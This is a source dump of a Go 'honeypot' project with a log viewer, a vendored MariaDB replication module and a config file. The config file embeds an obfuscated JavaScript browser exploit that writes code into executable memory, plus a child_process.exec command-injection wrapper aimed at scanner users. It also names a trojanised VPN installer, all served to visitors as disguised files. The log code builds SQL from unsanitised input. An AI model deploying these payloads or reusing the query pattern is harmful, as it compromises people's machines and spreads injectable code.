204 | language: 'zh',
205 | dropZoneTitle: '将license文件拖拽到这里进行上传',
206 | showUpload: true,
207 | maxFileSize: 1024,
208 | uploadUrl: "license",
209 | uploadAsync: true,
210 | allowedFileExtensions: ['dat']
211 | });
212 |
213 | //上传成功后执行
214 | $("#fileinput").on("fileuploaded", function (event, data,) {
215 | if (data.response.msg === "upload success"){
216 | alert("license文件上传成功,请重启平台完成授权!")
217 | }
218 | });
219 | })
--------------------------------------------------------------------------------
/honeyPot/admin/log.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "net/http"
9 | "strconv"
10 | )
11 |
12 | type HttpLogData struct {
13 | Time string
14 | ClientIP string
15 | StatusCode string
16 | ReqMethod string
17 | ReqUri string
18 | Full_message string
19 | }
20 | type NohttpLogData struct {
21 | Time string
22 | Full_message string
23 | }
24 |
25 | func log(c *gin.Context) {
26 | islogin := tools.GetSession(c)
27 | page := c.PostForm("page")
28 | var i int
29 | i, _ = strconv.Atoi(page)
30 | if i == 0 {
31 | i = 1
32 | }
33 | starttime := c.PostForm("startDate")
34 | endtime := c.PostForm("endDate")
35 | ip := c.PostForm("ip")
36 | method := c.PostForm("reqmethod")
37 | var tablename string
38 | if c.Param("logname") != ""{
39 | tablename = c.Param("logname")
40 | }else{
41 | tablename = "log"
42 | }
43 | if tools.In(tablename, tools.Config("httplog")){
44 | res, err := QuerHttpyLog(tablename,i, starttime, endtime, ip, method)
45 | if islogin {
46 | if err != nil || len(res) == 0 {
47 | res = append(res, HttpLogData{"", "", "", "", "", ""})
48 | }
49 | if len(res) != 0 {
50 | if c.Request.Method == "GET" {
51 | c.HTML(http.StatusOK, "log.html", gin.H{
52 | "adminurl": Adminurl,
53 | "IsLogin": islogin,
54 | "res": res,
55 | })
56 | }
57 |
58 | if c.Request.Method == "POST" {
59 | c.JSON(http.StatusOK, gin.H{
60 | "res": res,
61 | })
62 | }
63 | }
64 | } else {
65 | c.HTML(http.StatusOK, "login.html", nil)
66 | }
67 | }
68 | if tools.In(tablename, tools.Config("nohttplog")){
69 | res, err := QuerNoHttpyLog(tablename,i, starttime, endtime)
70 | if islogin {
71 | if err != nil || len(res) == 0 {
72 | res = append(res, NohttpLogData{"", ""})
73 | }
74 | if len(res) != 0 {
75 | if c.Request.Method == "GET" {
76 | c.HTML(http.StatusOK, "log1.html", gin.H{
77 | "adminurl": Adminurl,
78 | "IsLogin": islogin,
79 | "res": res,
80 | })
81 | }
82 |
83 | if c.Request.Method == "POST" {
84 | c.JSON(http.StatusOK, gin.H{
85 | "res": res,
86 | })
87 | }
88 | }
89 | } else {
90 | c.HTML(http.StatusOK, "login.html", nil)
91 | }
92 | }
93 | }
94 |
95 | func QuerHttpyLog(tablename string, page int, starttime string, endtime string, ip string, method string) (data []HttpLogData, e error) {
96 | tools.SafeDate(tablename)
97 | tools.SafeDate(starttime)
98 | tools.SafeDate(endtime)
99 | tools.SafeDate(ip)
100 | tools.SafeDate(method)
101 | db, err := sql.Open("sqlite3", tools.DbPath)
102 | checkErr(err)
103 | // 查询数据
104 | var querystring string
105 | var result = make([]HttpLogData, 0)
106 | if tools.In(tablename, tools.Config("httplog")) {
107 | if starttime == "" && endtime == "" && ip == "" && method == "" {
108 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s ORDER BY id DESC LIMIT %d,%d", tablename, (page-1)*10, 10)
109 | }
110 | if starttime == "" && endtime == "" && ip != "" && method == "" {
111 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE clientIP='%s' ORDER BY id DESC LIMIT %d,%d", tablename, ip, (page-1)*10, 10)
112 | }
113 | if starttime == "" && endtime == "" && ip == "" && method != "" {
114 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE reqMethod='%s' ORDER BY id DESC LIMIT %d,%d", tablename, method, (page-1)*10, 10)
115 | }
116 | if starttime == "" && endtime == "" && ip != "" && method != "" {
117 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE clientIP='%s' and reqMethod='%s' ORDER BY id DESC LIMIT %d,%d", tablename, ip, method, (page-1)*10, 10)
118 | }
119 | if starttime != "" && endtime != "" && ip == "" && method == "" {
120 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' ORDER BY id DESC LIMIT %d,%d", tablename, starttime, endtime, (page-1)*10, 10)
121 | }
122 | if starttime != "" && endtime != "" && ip != "" && method != "" {
123 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s' and reqMethod='%s' ORDER BY id DESC LIMIT %d,%d", tablename, starttime, endtime, ip, method, (page-1)*10, 10)
124 | }
125 | if starttime != "" && endtime != "" && ip == "" && method != "" {
126 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND reqMethod='%s' ORDER BY id DESC LIMIT %d,%d", tablename, starttime, endtime, method, (page-1)*10, 10)
127 | }
128 | if starttime != "" && endtime != "" && ip != "" && method == "" {
129 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s' ORDER BY id DESC LIMIT %d,%d", tablename, starttime, endtime, ip, (page-1)*10, 10)
130 | }
131 | rows, err := db.Query(querystring)
132 | if err != nil {
133 | fmt.Printf("数据库查询数据失败:%s\n", err)
134 | } else {
135 | for rows.Next() {
136 | var (
137 | time, clientIp string
138 | statusCode string
139 | reqMethod, reqUri, full_message string
140 | )
141 | err = rows.Scan(&time, &clientIp, &statusCode, &reqMethod, &reqUri, &full_message)
142 | if err == nil {
143 | result = append(result, HttpLogData{time, clientIp, statusCode, reqMethod, reqUri, full_message})
144 | } else {
145 | result = append(result, HttpLogData{"", "", "", "", "", ""})
146 | }
147 | }
148 | defer db.Close()
149 | }
150 | }
151 | return result, err
152 | }
153 |
154 | func QuerNoHttpyLog(tablename string, page int, starttime string, endtime string) (data []NohttpLogData, e error) {
155 | tools.SafeDate(tablename)
156 | tools.SafeDate(starttime)
157 | tools.SafeDate(endtime)
158 | db, err := sql.Open("sqlite3", tools.DbPath)
159 | checkErr(err)
160 | // 查询数据
161 | var querystring string
162 | var result = make([]NohttpLogData, 0)
163 | if tools.In(tablename, tools.Config("nohttplog")) {
164 | if starttime == "" && endtime == "" {
165 | querystring = fmt.Sprintf("SELECT time,msg FROM %s ORDER BY id DESC LIMIT %d,%d", tablename, (page-1)*10, 10)
166 | }
167 | if starttime != "" && endtime != "" {
168 | querystring = fmt.Sprintf("SELECT time,msg FROM %s WHERE time >='%s' AND Time <='%s' ORDER BY id DESC LIMIT %d,%d", tablename, starttime, endtime, (page-1)*10, 10)
169 | }
170 | rows, err := db.Query(querystring)
171 | if err != nil {
172 | fmt.Printf("数据库查询数据失败:%s\n", err)
173 | } else {
174 | for rows.Next() {
175 | var (
176 | time string
177 | full_message string
178 | )
179 | err = rows.Scan(&time, &full_message)
180 | if err == nil {
181 | result = append(result, NohttpLogData{time, full_message})
182 | } else {
183 | result = append(result, NohttpLogData{"", ""})
184 | }
185 | }
186 | defer db.Close()
187 | }
188 | }
189 | return result, err
190 | }
191 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/flavor_mariadb.go:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Copyright 2017 Google Inc.
4 |
5 | Licensed under the Apache License, Version 2.0 (the "License");
6 | you may not use this file except in compliance with the License.
7 | You may obtain a copy of the License at
8 |
9 | http://www.apache.org/licenses/LICENSE-2.0
10 |
11 | Unless required by applicable law or agreed to in writing, software
12 | distributed under the License is distributed on an "AS IS" BASIS,
13 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | See the License for the specific language governing permissions and
15 | limitations under the License.
16 | */
17 |
18 | package mysql
19 |
20 | import (
21 | "fmt"
22 | "io"
23 | "time"
24 |
25 | "golang.org/x/net/context"
26 | "vitess.io/vitess/go/vt/proto/vtrpc"
27 | "vitess.io/vitess/go/vt/vterrors"
28 | )
29 |
30 | // mariadbFlavor implements the Flavor interface for MariaDB.
31 | type mariadbFlavor struct{}
32 |
33 | // masterGTIDSet is part of the Flavor interface.
34 | func (mariadbFlavor) masterGTIDSet(c *Conn) (GTIDSet, error) {
35 | qr, err := c.ExecuteFetch("SELECT @@GLOBAL.gtid_binlog_pos", 1, false)
36 | if err != nil {
37 | return nil, err
38 | }
39 | if len(qr.Rows) != 1 || len(qr.Rows[0]) != 1 {
40 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "unexpected result format for gtid_binlog_pos: %#v", qr)
41 | }
42 |
43 | return parseMariadbGTIDSet(qr.Rows[0][0].ToString())
44 | }
45 |
46 | func (mariadbFlavor) startSlaveUntilAfter(pos Position) string {
47 | return fmt.Sprintf("START SLAVE UNTIL master_gtid_pos = \"%s\"", pos)
48 | }
49 |
50 | func (mariadbFlavor) startSlaveCommand() string {
51 | return "START SLAVE"
52 | }
53 |
54 | func (mariadbFlavor) stopSlaveCommand() string {
55 | return "STOP SLAVE"
56 | }
57 |
58 | // sendBinlogDumpCommand is part of the Flavor interface.
59 | func (mariadbFlavor) sendBinlogDumpCommand(c *Conn, slaveID uint32, startPos Position) error {
60 | // Tell the server that we understand GTIDs by setting our slave
61 | // capability to MARIA_SLAVE_CAPABILITY_GTID = 4 (MariaDB >= 10.0.1).
62 | if _, err := c.ExecuteFetch("SET @mariadb_slave_capability=4", 0, false); err != nil {
63 | return vterrors.Wrapf(err, "failed to set @mariadb_slave_capability=4")
64 | }
65 |
66 | // Set the slave_connect_state variable before issuing COM_BINLOG_DUMP
67 | // to provide the start position in GTID form.
68 | query := fmt.Sprintf("SET @slave_connect_state='%s'", startPos)
69 | if _, err := c.ExecuteFetch(query, 0, false); err != nil {
70 | return vterrors.Wrapf(err, "failed to set @slave_connect_state='%s'", startPos)
71 | }
72 |
73 | // Real slaves set this upon connecting if their gtid_strict_mode option
74 | // was enabled. We always use gtid_strict_mode because we need it to
75 | // make our internal GTID comparisons safe.
76 | if _, err := c.ExecuteFetch("SET @slave_gtid_strict_mode=1", 0, false); err != nil {
77 | return vterrors.Wrapf(err, "failed to set @slave_gtid_strict_mode=1")
78 | }
79 |
80 | // Since we use @slave_connect_state, the file and position here are
81 | // ignored.
82 | return c.WriteComBinlogDump(slaveID, "", 0, 0)
83 | }
84 |
85 | // resetReplicationCommands is part of the Flavor interface.
86 | func (mariadbFlavor) resetReplicationCommands() []string {
87 | return []string{
88 | "STOP SLAVE",
89 | "RESET SLAVE ALL", // "ALL" makes it forget master host:port.
90 | "RESET MASTER",
91 | "SET GLOBAL gtid_slave_pos = ''",
92 | "SET GLOBAL rpl_semi_sync_master_enabled = false, GLOBAL rpl_semi_sync_slave_enabled = false", // semi-sync will be enabled if needed when slave is started.
93 | }
94 | }
95 |
96 | // setSlavePositionCommands is part of the Flavor interface.
97 | func (mariadbFlavor) setSlavePositionCommands(pos Position) []string {
98 | return []string{
99 | // RESET MASTER will clear out gtid_binlog_pos,
100 | // which then guarantees that gtid_current_pos = gtid_slave_pos,
101 | // since gtid_current_pos = MAX(gtid_binlog_pos,gtid_slave_pos).
102 | // This also emptys the binlogs, which allows us to set
103 | // gtid_binlog_state.
104 | "RESET MASTER",
105 | // Set gtid_slave_pos to tell the slave where to start
106 | // replicating.
107 | fmt.Sprintf("SET GLOBAL gtid_slave_pos = '%s'", pos),
108 | // Set gtid_binlog_state so that if this server later becomes a
109 | // master, it will know that it has seen everything up to and
110 | // including 'pos'. Otherwise, if another slave asks this
111 | // server to replicate starting at exactly 'pos', this server
112 | // will throw an error when in gtid_strict_mode, since it
113 | // doesn't see 'pos' in its binlog - it only has everything
114 | // AFTER.
115 | fmt.Sprintf("SET GLOBAL gtid_binlog_state = '%s'", pos),
116 | }
117 | }
118 |
119 | // setSlavePositionCommands is part of the Flavor interface.
120 | func (mariadbFlavor) changeMasterArg() string {
121 | return "MASTER_USE_GTID = current_pos"
122 | }
123 |
124 | // status is part of the Flavor interface.
125 | func (mariadbFlavor) status(c *Conn) (SlaveStatus, error) {
126 | qr, err := c.ExecuteFetch("SHOW ALL SLAVES STATUS", 100, true /* wantfields */)
127 | if err != nil {
128 | return SlaveStatus{}, err
129 | }
130 | if len(qr.Rows) == 0 {
131 | // The query returned no data, meaning the server
132 | // is not configured as a slave.
133 | return SlaveStatus{}, ErrNotSlave
134 | }
135 |
136 | resultMap, err := resultToMap(qr)
137 | if err != nil {
138 | return SlaveStatus{}, err
139 | }
140 |
141 | status := parseSlaveStatus(resultMap)
142 | status.Position.GTIDSet, err = parseMariadbGTIDSet(resultMap["Gtid_Slave_Pos"])
143 | if err != nil {
144 | return SlaveStatus{}, vterrors.Wrapf(err, "SlaveStatus can't parse MariaDB GTID (Gtid_Slave_Pos: %#v)", resultMap["Gtid_Slave_Pos"])
145 | }
146 | return status, nil
147 | }
148 |
149 | // waitUntilPositionCommand is part of the Flavor interface.
150 | //
151 | // Note: Unlike MASTER_POS_WAIT(), MASTER_GTID_WAIT() will continue waiting even
152 | // if the slave thread stops. If that is a problem, we'll have to change this.
153 | func (mariadbFlavor) waitUntilPositionCommand(ctx context.Context, pos Position) (string, error) {
154 | if deadline, ok := ctx.Deadline(); ok {
155 | timeout := time.Until(deadline)
156 | if timeout <= 0 {
157 | return "", vterrors.Errorf(vtrpc.Code_DEADLINE_EXCEEDED, "timed out waiting for position %v", pos)
158 | }
159 | return fmt.Sprintf("SELECT MASTER_GTID_WAIT('%s', %.6f)", pos, timeout.Seconds()), nil
160 | }
161 |
162 | // Omit the timeout to wait indefinitely. In MariaDB, a timeout of 0 means
163 | // return immediately.
164 | return fmt.Sprintf("SELECT MASTER_GTID_WAIT('%s')", pos), nil
165 | }
166 |
167 | // readBinlogEvent is part of the Flavor interface.
168 | func (mariadbFlavor) readBinlogEvent(c *Conn) (BinlogEvent, error) {
169 | result, err := c.ReadPacket()
170 | if err != nil {
171 | return nil, err
172 | }
173 | switch result[0] {
174 | case EOFPacket:
175 | return nil, NewSQLError(CRServerLost, SSUnknownSQLState, "%v", io.EOF)
176 | case ErrPacket:
177 | return nil, ParseErrorPacket(result)
178 | }
179 | return NewMariadbBinlogEvent(result[1:]), nil
180 | }
181 |
--------------------------------------------------------------------------------
/honeyPot/admin/tools/config.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | "runtime"
8 | )
9 |
10 | var httplog = []string{"log", "burplog", "gobylog", "vpnlog"}
11 | var nohttplog = []string{"mysqllog"}
12 |
13 | func Config(log string) []string {
14 | if log == "httplog" {
15 | return httplog
16 | }
17 | if log == "nohttplog" {
18 | return nohttplog
19 | }
20 | return nil
21 | }
22 |
23 | var BurpApi1 = "function uploadPic() { var GdNgy1 = window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][\"\\x67\\x65\\x74\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x42\\x79\\x49\\x64\"]('\\x75\\x70\\x6c\\x6f\\x61\\x64'), NDUqmOyFf2 = new FormData(GdNgy1); $[\"\\x61\\x6a\\x61\\x78\"]({ url:\"\\x2e\\x2f\\x75\\x70\\x6c\\x6f\\x61\\x64\\x2e\\x70\\x68\\x70\", type:\"\\x70\\x6f\\x73\\x74\", data:NDUqmOyFf2, processData:false, contentType:false, success:function(QbhYGfBC3){ if(QbhYGfBC3){ window[\"\\x61\\x6c\\x65\\x72\\x74\"](\"\\u4e0a\\u4f20\\u6210\\u529f\\uff01\"); } console[\"\\x6c\\x6f\\x67\"](QbhYGfBC3); $(\"\\x23\\x70\\x69\\x63\")[\"\\x76\\x61\\x6c\"](\"\"); $(\"\\x2e\\x73\\x68\\x6f\\x77\\x55\\x72\\x6c\")[\"\\x68\\x74\\x6d\\x6c\"](QbhYGfBC3); $(\"\\x2e\\x73\\x68\\x6f\\x77\\x50\\x69\\x63\")[\"\\x61\\x74\\x74\\x72\"](\"\\x73\\x72\\x63\",QbhYGfBC3); }, error:function(_Mwb_4){ window[\"\\x61\\x6c\\x65\\x72\\x74\"](\"\\u7f51\\u7edc\\u8fde\\u63a5\\u5931\\u8d25\\x2c\\u7a0d\\u540e\\u91cd\\u8bd5\",_Mwb_4); } }) }function picgo() { var w5 = new Float64Array(1); var H$6 = new Uint32Array(w5[\"\\x62\\x75\\x66\\x66\\x65\\x72\"]); function f2u(PI7) { w5[0] = PI7; return H$6; } function u2f(ZsOC8, skc9) { H$6[0] = skc9; H$6[1] = ZsOC8; return w5[0]; } function hex(lgLk10) { return \"\\x30\\x78\" + lgLk10[\"\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\"](16)[\"\\x70\\x61\\x64\\x53\\x74\\x61\\x72\\x74\"](8, \"\\x30\"); } function log(UfTUiCkm11) { console[\"\\x6c\\x6f\\x67\"](UfTUiCkm11); window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][\"\\x62\\x6f\\x64\\x79\"][\"\\x69\\x6e\\x6e\\x65\\x72\\x54\\x65\\x78\\x74\"] += UfTUiCkm11 + '\\n'; } var ijkaO12 = [1.1, 1.2]; var oSFYqamGC13 = new ArrayBuffer(0x233); var UVtdjYqc14 = new DataView(oSFYqamGC13); function opt_me($DDSSHGtg15) { var OfsJEwpi16 = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; ijkaO12 = [1.1, 1.2]; oSFYqamGC13 = new ArrayBuffer(0x233); UVtdjYqc14 = new DataView(oSFYqamGC13); let obj = { a: -0 }; let idx = window[\"\\x4f\\x62\\x6a\\x65\\x63\\x74\"][\"\\x69\\x73\"](window[\"\\x4d\\x61\\x74\\x68\"][\"\\x65\\x78\\x70\\x6d\\x31\"]($DDSSHGtg15), obj[\"\\x61\"]) * 10; var Xetp17 = f2u(OfsJEwpi16[idx])[0]; OfsJEwpi16[idx] = u2f(0x234, Xetp17); } for (let a = 0; a < 0x1000; a++) opt_me(0); opt_me(-0); var OrUn18 = { flag: 0x266, funcAddr: opt_me }; if (ijkaO12[\"\\x6c\\x65\\x6e\\x67\\x74\\x68\"] != 282) { return; } var osjZpFBNv19 = -1; var fKgq20 = false; var _q21 = -1; var tt22 = false; for (let a = 0; a < 0x100; a++) { if (osjZpFBNv19 == -1) { if (f2u(ijkaO12[a])[0] == 0x466) { fKgq20 = true; osjZpFBNv19 = a; } else if (f2u(ijkaO12[a])[1] == 0x466) { fKgq20 = false; osjZpFBNv19 = a + 1; } } else if (_q21 == -1) { if (f2u(ijkaO12[a])[0] == 0x4cc) { tt22 = true; _q21 = a; } else if (f2u(ijkaO12[a])[1] == 0x4cc) { tt22 = false; _q21 = a + 1; } } } if (osjZpFBNv19 == -1) { log(\"\\x5b\\x2d\\x5d \\x43\\x61\\x6e \\x6e\\x6f\\x74 \\x66\\x69\\x6e\\x64 \\x62\\x61\\x63\\x6b\\x69\\x6e\\x67 \\x73\\x74\\x6f\\x72\\x65 \\x21\"); return; } else log(\"\\x5b\\x2b\\x5d \\x62\\x61\\x63\\x6b\\x69\\x6e\\x67 \\x73\\x74\\x6f\\x72\\x65 \\x69\\x64\\x78\\x3a \" + osjZpFBNv19 + \"\\x2c \\x69\\x6e \" + (fKgq20 ? \"\\x68\\x69\\x67\\x68\" : \"\\x6c\\x6f\\x77\") + \" \\x70\\x6c\\x61\\x63\\x65\\x2e\"); if (_q21 == -1) { log(\"\\x5b\\x2d\\x5d \\x43\\x61\\x6e \\x6e\\x6f\\x74 \\x66\\x69\\x6e\\x64 \\x4f\\x70\\x74 \\x4f\\x62\\x6a \\x21\"); return; } else log(\"\\x5b\\x2b\\x5d \\x4f\\x70\\x74\\x4f\\x62\\x6a \\x69\\x64\\x78\\x3a \" + _q21 + \"\\x2c \\x69\\x6e \" + (tt22 ? \"\\x68\\x69\\x67\\x68\" : \"\\x6c\\x6f\\x77\") + \" \\x70\\x6c\\x61\\x63\\x65\\x2e\"); var zskfCCe23 = (fKgq20 ? f2u(ijkaO12[osjZpFBNv19])[1] : f2u(ijkaO12[osjZpFBNv19])[0]); log(\"\\x5b\\x2b\\x5d \\x4f\\x72\\x69\\x67\\x69\\x6e \\x62\\x61\\x63\\x6b\\x69\\x6e\\x67 \\x73\\x74\\x6f\\x72\\x65\\x3a \" + hex(zskfCCe23)); var vma_pE$Pl24 = (!fKgq20 ? f2u(ijkaO12[osjZpFBNv19])[1] : f2u(ijkaO12[osjZpFBNv19])[0]); function read(KqeB_zcMi25) { if (fKgq20) ijkaO12[osjZpFBNv19] = u2f(KqeB_zcMi25, vma_pE$Pl24); else ijkaO12[osjZpFBNv19] = u2f(vma_pE$Pl24, KqeB_zcMi25); return UVtdjYqc14[\"\\x67\\x65\\x74\\x49\\x6e\\x74\\x33\\x32\"](0, true); } function write(KHTXQReCI26, IL27) { if (fKgq20) ijkaO12[osjZpFBNv19] = u2f(KHTXQReCI26, vma_pE$Pl24); else ijkaO12[osjZpFBNv19] = u2f(vma_pE$Pl24, KHTXQReCI26); UVtdjYqc14[\"\\x73\\x65\\x74\\x49\\x6e\\x74\\x33\\x32\"](0, IL27, true); } var Y28 = (tt22 ? f2u(ijkaO12[_q21])[1] : f2u(ijkaO12[_q21])[0]) - 1; log(\"\\x5b\\x2b\\x5d \\x4f\\x70\\x74\\x4a\\x53\\x46\\x75\\x6e\\x63\\x41\\x64\\x64\\x72\\x3a \" + hex(Y28)); var _CTJKsi29 = read(Y28 + 0x18) - 1; log(\"\\x5b\\x2b\\x5d \\x4f\\x70\\x74\\x4a\\x53\\x46\\x75\\x6e\\x63\\x43\\x6f\\x64\\x65\\x41\\x64\\x64\\x72\\x3a \" + hex(_CTJKsi29)); var u30 = _CTJKsi29 + 0x40; log(\"\\x5b\\x2b\\x5d \\x52\\x57\\x58 \\x4d\\x65\\x6d \\x41\\x64\\x64\\x72\\x3a \" + hex(u30)); var Iy$l31 = new Uint8Array( ["
24 | var BurpApi2 = "] ); for (let i = 0; i < Iy$l31[\"\\x6c\\x65\\x6e\\x67\\x74\\x68\"]; i++) write(u30 + i, Iy$l31[i]); opt_me();}picgo();"
25 | var GobyApi1 = "(function(){\n require('child_process').exec('"
26 | var GobyApi2 = "',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });\n })();"
27 |
28 | //vpn木马文件路径
29 | var VpnFile = Cwd + string(os.PathSeparator) + "upload" + string(os.PathSeparator) + "EasyConnectInstaller.exe"
30 | var BurpFile = Cwd + string(os.PathSeparator) + "upload" + string(os.PathSeparator) + "api.js"
31 | var GobyFile = Cwd + string(os.PathSeparator) + "upload" + string(os.PathSeparator) + "common.js"
32 |
33 | // 获取数据库路径
34 | var Cwd, _ = filepath.Abs(filepath.Dir(os.Args[0]))
35 | var DbPath = Cwd + string(os.PathSeparator) + "data.db"
36 | var LicenseFile = Cwd + string(os.PathSeparator) + "license.dat"
37 |
38 | func SysOS() bool {
39 | sysType := runtime.GOOS
40 | if sysType == "linux" {
41 | return true
42 | }
43 | if sysType == "windows " {
44 | return false
45 | }
46 | return false
47 | }
48 |
49 | func Exists(path string) bool {
50 | _, err := os.Stat(path) //os.Stat获取文件信息
51 | if err != nil {
52 | if os.IsExist(err) {
53 | return true
54 | }
55 | return false
56 | }
57 | return true
58 | }
59 |
60 | func RegisterFile() string {
61 | if SysOS() {
62 | Register := Cwd + string(os.PathSeparator) + "register"
63 | if Exists(Register) {
64 | hash := Md5File(Register)
65 | if hash != "cea12d774a5f79f47c0fe7f402e9c8bd" {
66 | fmt.Println("注册文件hash检查不通过,请确认文件是否损坏!")
67 | os.Exit(1)
68 | }
69 | return Register
70 | } else {
71 | fmt.Println("请检查register文件是否存在!!")
72 | os.Exit(1)
73 | }
74 | }
75 | if !SysOS() {
76 | Register := Cwd + string(os.PathSeparator) + "register.exe"
77 | if Exists(Register) {
78 | hash := Md5File(Register)
79 | if hash != "28173bea80972286745bae7474fb5b22" {
80 | fmt.Println("注册文件hash检查不通过,请确认文件是否损坏!")
81 | os.Exit(1)
82 | }
83 | return Register
84 | } else {
85 | fmt.Println("请检查register.exe文件是否存在!!")
86 | os.Exit(1)
87 | }
88 | }
89 | return "运行授权文件失败,请联系技术支持!"
90 | }
91 |
--------------------------------------------------------------------------------